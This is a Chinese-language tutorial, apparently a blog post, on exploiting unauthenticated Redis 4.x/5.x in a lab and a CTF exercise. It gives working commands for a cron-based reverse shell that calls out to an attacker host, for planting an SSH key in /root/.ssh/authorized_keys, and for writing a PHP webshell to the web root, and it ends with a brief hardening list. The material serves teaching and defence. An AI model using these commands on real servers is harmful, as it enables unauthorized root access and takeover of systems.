Redis 4.x/5.x 未授权访问漏洞验证及防御方法

满足以下条件Redis实例存在此安全隐患

Redis使用root用户启动
Redis未设置密码或密码过于简单
Redis允许任意地址连接,即bind 0.0.0.0
Redis未重命名或禁用config, flushdb/flushall,[bg]save等命令
使用默认端口6379(非强制)
1、安装Redis
yum -y install make gcc*
wget http://download.redis.io/releases/redis-5.0.3.tar.gz
tar -xvzf redis-5.0.3.tar.gz
cd redis-5.0.3 && make
cd src/ && make install
2、构造漏洞 ,允许远程访问
vim ../redis.conf
找到 bind 127.0.0.1 将其注释
找到 protected-mode yes 将其改为 rotected-mode no
3、启动Redis
./redis-server ../redis.conf

一、利用计划任务执行命令反弹shell

原理:

  我们都知道crontab是做计划任务的,启动的任务存放在/var/spool/cron中,root可以修改计划任务,可以将执行命令反弹shell直接写入计划任务中。

条件:

  root启用Redis

  redis无密码或者弱密码

1、端口监听:

在攻击者服务器上监听一个端口(未被占用的任意端口)

nc -lvnp 7999

2、攻击详情:

连接redis,写入反弹shell
redis-cli -h 192.168.24.3                  #连接redis
set x "\n* * * * * bash -i >& /dev/tcp/192.168.20.143/7999 0>&1\n"      #将反弹shell写入x键值
config set dir /var/spool/cron         #设置保存路径
config set dbfilename root            #保存名称
save

3、攻击成功:

过一分钟左右就可以收到shell

二、利用“公私钥”认证获取root权限

原理:

  SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密。

1、写ssh-keygen公钥然后使用私钥登陆

首先在本地生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa
cat id_rsa.pub

2、复制公钥

3、上传公钥

远程登录靶机的redis服务,
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),
设置上传公钥的备份文件名字为authorized_keys:
redis-cli -h 192.168.24.3
config set dir /root/.ssh/                    #设置保存路径
config set dbfilename authorized_keys          #设置保存文件名
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdpl30JMqr89HUN/iFIuaxQfRfVJzCcrZTNxwjaiHdVT3nJ6Lt19j+5wpZpruuGhRzie8/9FRA9x7k+neNWWvBICgQA5l7h4GPjXWU0nI7w1icpM4Wue5HAMy7z35N/SKWW1sKuThmwXRPl5FrkDJbNNrIL4dqxjZrN83kHiMhbclaOrgNGZ07QB1chXwvfoQNAlcijOWlWYXBYb+G3OysEfW8RhDXVulshAs9bmKOii9wjiX587XuTVF8+G50RdB2BU8owxz9eXpTifAbxo+HN25S5Mk+T06c1mf4y4C96e3p/oUGopJ+si98T+orRzimOXoNjAaTfCBDpIIGNHRD root@kali\n\n\n"

save

4、攻击成功 免密登录

在攻击机上使用ssh免密登录靶机
ssh root@192.168.24.3
利用私钥成功登录redis服务器!!!

三、利用web物理路径写webshell

1、利用场景介绍

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell
墨者学院的一道题目:
给出了IP:219.153.49.228 ,同时也给出了俩个端口一个是web也就是http端口 419387,一个是redis数据库端口 48055

2、尝试连接redis

尝试用kali链接redis端口:
redis-cli -h 219.153.49.228 -p 48055
连接成功,本想用上文的方法,生成ssh密钥把内容写进redis数据库,然后把redis数据库的目录指定到/etc/.ssh/,这样就可以通过ssh直接连接服务器,但是这里权限不够,不能指定到/etc/.ssh/目录。

2、尝试失败,更换思路

由于是apache服务,尝试指定一下默认的路径/var/www/html/来写入shell:
补充:若不知道物理路径,可尝试寻找网站的应用程序错误或者常见绝对路径去尝试。

3、写入php webshell

写入shell的操作,然后在web页面尝试访问我们写入shell的joker.php文件:

4、攻击成功

成功写入,尝试用菜刀链接,获取flag:

四、Redis安全配置思路

禁止root用户启动Redis
限制redis文件目录访问权限
开启redis密码,并设置高复杂度密码
禁用或重命名危险命令,如config/save两个命令
配置redis仅监听在本地或具体IP
修改默认6379端口
打开保护模式